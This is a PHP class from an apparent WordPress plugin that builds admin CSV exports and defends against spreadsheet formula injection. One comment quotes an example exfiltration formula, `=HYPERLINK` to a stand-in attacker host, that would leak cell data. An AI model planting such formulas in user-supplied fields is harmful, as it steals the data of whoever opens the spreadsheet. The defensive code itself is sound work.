<?php
/**
 * CSV construction for the admin's export buttons.
 *
 * @package WarrantyCart
 */

namespace WarrantyCart\REST;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Turns rows into a CSV document a spreadsheet will open correctly.
 *
 * Every export in this plugin used to build its own CSV inline, and each got
 * something different wrong: one hand-rolled the quoting with str_replace, one
 * wrote `wc_price()` into cells so every currency figure arrived as a span of
 * HTML, none wrote a byte-order mark so Excel read accented names as mojibake,
 * and none guarded against a customer's note beginning with `=`.
 */
class Csv {

	/**
	 * Build a CSV document.
	 *
	 * @param array<int, string>            $header Column titles.
	 * @param array<int, array<int, mixed>> $rows   Row values, in column order.
	 *
	 * @return string The CSV document, ready to download.
	 */
	public static function build( array $header, array $rows ): string {
		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- A memory stream, not the filesystem.
		$stream = fopen( 'php://temp', 'r+' );

		if ( false === $stream ) {
			return '';
		}

		/*
		 * The escape character is passed explicitly, and empty.
		 *
		 * PHP's default is a backslash, which is not part of RFC 4180 and which
		 * no spreadsheet expects — a Windows path in an order note would arrive
		 * mangled. PHP 8.4 deprecates leaving it unsaid for exactly this reason,
		 * so the choice has to be made rather than inherited.
		 */
		fputcsv( $stream, array_map( array( self::class, 'cell' ), $header ), ',', '"', '' );

		foreach ( $rows as $row ) {
			fputcsv( $stream, array_map( array( self::class, 'cell' ), $row ), ',', '"', '' );
		}

		rewind( $stream );
		$csv = stream_get_contents( $stream );

		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- A memory stream, not the filesystem.
		fclose( $stream );

		/*
		 * The byte-order mark is for Excel, which otherwise reads a CSV as the
		 * system's legacy codepage no matter what the HTTP headers said — so a
		 * customer called Ana Muñoz arrives as "Ana MuÃ±oz". Numbers, Google
		 * Sheets and LibreOffice all skip it.
		 */
		return "\xEF\xBB\xBF" . ( is_string( $csv ) ? $csv : '' );
	}

	/**
	 * Make one value safe to put in a cell.
	 *
	 * @param mixed $value The value.
	 *
	 * @return string
	 */
	private static function cell( $value ): string {
		if ( is_bool( $value ) ) {
			return $value ? 'yes' : 'no';
		}

		if ( null === $value ) {
			return '';
		}

		if ( is_array( $value ) ) {
			$value = implode( '; ', $value );
		}

		// Prices arrive from wc_price() as markup, and product names carry
		// encoded entities; a spreadsheet wants neither.
		$text = html_entity_decode( wp_strip_all_tags( (string) $value ), ENT_QUOTES, 'UTF-8' );

		// Excel and Sheets collapse a cell's newlines on paste; a tab inside a
		// cell confuses anything reading the file as TSV.
		$text = trim( preg_replace( '/[\r\n\t]+/', ' ', $text ) ?? '' );

		return self::defuse( $text );
	}

	/**
	 * Stop a spreadsheet treating a cell as a formula.
	 *
	 * A cell opening with `=`, `+`, `-` or `@` is executed on open by Excel and
	 * Sheets, and several of these columns hold text a customer typed — claim
	 * descriptions, order notes, billing names. `=HYPERLINK("evil.example/"&A1)`
	 * in a claim would run in the shop owner's spreadsheet against their data.
	 *
	 * Prefixing a tab neutralises it while leaving the value readable, which is
	 * what OWASP recommends over stripping the character.
	 *
	 * @param string $text The cell text.
	 *
	 * @return string
	 */
	private static function defuse( string $text ): string {
		if ( '' === $text ) {
			return $text;
		}

		return in_array( $text[0], array( '=', '+', '-', '@' ), true ) ? "\t" . $text : $text;
	}
}
